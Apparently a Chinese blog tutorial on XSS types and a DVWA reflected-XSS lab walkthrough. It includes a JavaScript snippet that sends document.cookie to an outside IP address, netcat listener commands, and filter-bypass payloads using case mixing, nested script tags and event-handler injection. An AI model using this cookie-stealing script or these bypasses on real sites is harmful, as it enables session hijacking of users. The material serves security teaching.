赞
踩
目录:
一、XSS说明:
二、反射型XSS:
XSS,跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的 Script 代码,当用户浏览该页面时,嵌入其中 Web 里面的 Script 代码就会被执行,从而达到恶意攻击用户的目的。
- 反射型XSS:非持久化,需要欺骗着用户自己去点击链接才能触发XSS代码(服务器中没有这样的网页和内容),一般容易出现在搜索页面。特点:强窗警告、广告;JavaScript;在浏览器中执行。
- 储存型XSS:持久化,代码是储存在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或者过滤不严格,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。
- DOM型XSS:文本对象模式XSS,通过修改页面的DOM节点形成的XSS,可储存型,可反射型,只取决于输入地点。
- 服务器对用户提交的数据过滤不严;
- 提交给服务器端的脚本被直接返回给其他用户端执行;
- 脚本在客户端执行恶意操作;
- 1、黑客首先向服务器发送js脚本;
- 2、服务器将含有js脚本的网页发给黑客;
- 3、何可将js脚本页面的url发送给被攻击方;
- 4、黑客获取被攻击方的cookie;
- 1、黑客首先向服务器发送js脚本;
- 2、服务器将含有js脚本的网页发给黑客;
- 3、黑客将js脚本的页面的URL发送给被攻击方;
- 4、被攻击者点击重定向到第三方网站;
在源码中,可以看到直接引用来 name参数,并没有对参数做任何过滤;例如:输入a,则返回含有 ’ Hello a ’ 的js页面。
注:href后有两个单引号,onclick前有一个空格。
a.js脚本:
var img = new Image();
img.src = 'http://192.168.85.197:88/cookie.php?cookie='+document.cookie;
- 输入:nc -vnlp 80 ——> 监听80端口;
通过BurpSuite抓包,查看cookie值。
步骤:
- 在Kali的 /var/www/html 目录下创建一个a.js脚本;
- 在Kali的 /var/www/html 目录下开启Apache服务(开启apache服务:/etc/init.d/apache2 start);
- 监听指定的端口88(命令:nc -vnlp 88);
- 访问ip/a.js脚本;
- 获取到a.js脚本实现的结果;
在这里是基于黑名单的思想,使用str_replace函数将输入中的<script>删除,把script脚本做字符串处理;
方法一:<Script>alert(‘xss’)</script> ——> #将<script>可以写成<Script>,大小写混淆绕过
方法二:<scr<script>ipt>alert(‘XSS1’)</script> #嵌入绕过,可以将script嵌入到<script>中,例如<scr
- High级别的代码使用preg_replace() 函数用于正则表达式的搜索和替换,将script前后相关的内容替换为空,使得双写绕过、大小写混淆绕过不在有效;(正则表达式中i表示不区分大小写);
- 在High级别中,虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签事件或者iframe等标签的src注入恶意的js代码;
对于安全级别为High,只能添加对script的限制,但并诶限制其他的方式。
当安全级别为impossible,使用htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,防止浏览器将其作为HTML元素(特殊意义);不能实现反射型XSS攻击;
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。